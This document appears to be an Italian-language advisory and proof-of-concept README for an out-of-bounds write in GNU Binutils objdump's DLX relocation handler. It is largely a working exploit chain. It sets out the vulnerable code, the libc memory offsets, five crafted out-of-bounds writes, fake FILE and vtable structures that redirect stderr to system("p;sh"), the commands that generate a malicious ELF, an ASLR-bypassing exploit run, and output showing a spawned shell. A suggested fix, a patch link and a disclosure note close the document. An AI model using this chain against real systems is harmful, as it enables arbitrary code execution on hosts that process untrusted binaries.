GNU Binutils objdump — Scrittura fuori dai limiti → FSOP → Esecuzione di codice arbitrario

Target: GNU Binutils (tutte le versioni fino alla HEAD) — objdump
Ambiente: Debian 13 (Trixie), glibc 2.41, x86_64
Impatto: esecuzione di codice arbitrario
Vettore: file ELF appositamente creato elaborato da objdump -g
ASLR: eluso (delta mmap deterministico)

---

Ringraziamenti

Un enorme ringraziamento a bikini per il riconoscimento e per la sua correttezza riguardo a questa scoperta. È un gran tipo, ho avuto il piacere di chiacchierare con lui, e ha fatto alcune scoperte fantastiche per conto suo. Andate a vedere il suo lavoro!

---

Vulnerabilità

Causa principale — bfd/elf32-dlx.c

Il gestore di rilocazione R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) esegue una lettura/scrittura di 4 byte all'indirizzo data + reloc_entry->address senza verificare l'offset rispetto alla dimensione della sezione. Poiché la funzione restituisce bfd_reloc_ok, il controllo generico dei limiti in bfd/reloc.c viene completamente aggirato.

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

L'offset reloc_entry->address viene letto direttamente dal file ELF e può puntare arbitrariamente oltre il buffer della sezione.

Trucco della prossimità mmap

Su x86_64, gli offset ELF32 vengono estesi con zeri, limitando le scritture a offset positivi. Una sezione .debug_info ≥ 128 KB costringe malloc() a usare mmap(), posizionando il buffer adiacente al segmento dati di libc:

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

Il delta stderr - data = 0x21A4D0 è costante tra le diverse esecuzioni con ASLR perché entrambe le regioni sono allocate dalla stessa mmap durante il caricamento di libc.

---

Catena di sfruttamento FSOP

Percorso di esecuzione

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

Le 5 scritture fuori dai limiti (PCREL26)

#	Destinazione (offset da data)	Effetto
0	0x21A4CF = stderr − 1	_flags[0:3] = cmd[0..2] → inizio dell'argomento di system()
1	0x21A4F8 = stderr + 0x28	_IO_write_ptr ≠ 0 → forza il flush → overflow
2	0x21A56F = stderr + 0x9F	_wide_data[0:3] → punta a fake _IO_wide_data
3	0x21A5A7 = stderr + 0xD7	vtable[0:3] → _IO_wfile_jumps
4	0x21A4D2 = stderr + 2	_flags[3] = cmd[3], padding azzerato → terminatore null

Strutture fittizie (nel buffer della sezione)

data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Vincoli sul comando

L'exploit supporta comandi da 2 a 4 caratteri. La reloc 0 scrive _flags[0:3] e la reloc 4 scrive _flags[3] e azzera il padding, dando a system() fino a 4 caratteri prima del terminatore null naturale.

Solo i primi due byte sono vincolati dalla disposizione dei flag FILE di glibc:

Bit	Flag	Vincolo	Motivo
1	_IO_UNBUFFERED	cmd[0] & 0x02 == 0	altrimenti _IO_wdoallocbuf salta __doallocate
3	_IO_NO_WRITES	cmd[0] & 0x08 == 0	altrimenti overflow restituisce subito WEOF
13	_IO_IS_FILEBUF	cmd[1] & 0x20 != 0	richiesto per entrare nel blocco doallocate

cmd[2] e cmd[3] sono senza vincoli.

Comando	Byte	Effetto
"ps"	70 73	elenca i processi
"p;sh"	70 3B 73 68	avvia una shell interattiva ← il più utile
"p;ls"	70 3B 6C 73	elenca la directory
"p;id"	70 3B 69 64	stampa uid/gid

---

Riproduzione

Prerequisiti

# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Genera il payload + esegui l'exploit

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

L'exploit riprova automaticamente fino a 5 volte in caso di mancata corrispondenza del byte-3 dell'ASLR (~12% per tentativo), raggiungendo un tasso di successo di ~99.998%.

Output atteso

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

---

Correzione suggerita

Aggiungi un controllo dei limiti in elf32_dlx_relocate26() prima di accedere ai dati della sezione:

if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

---

File

File	Descrizione
poc_generate.py	Genera il payload ELF DLX malevolo (exploit.bin) con 5 reloc fuori dai limiti
poc_ptrace.py	Exploit autonomo — bypass dell'ASLR basato su ptrace, ciclo di retry, nessun GDB richiesto
exploit.bin	Payload pregenerato (comando predefinito "p;sh")

---

Divulgazione

Questa vulnerabilità è stata segnalata ai maintainer di GNU Binutils. Il codice dell'exploit è fornito esclusivamente a scopo di ricerca sulla sicurezza autorizzata.

Patch

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5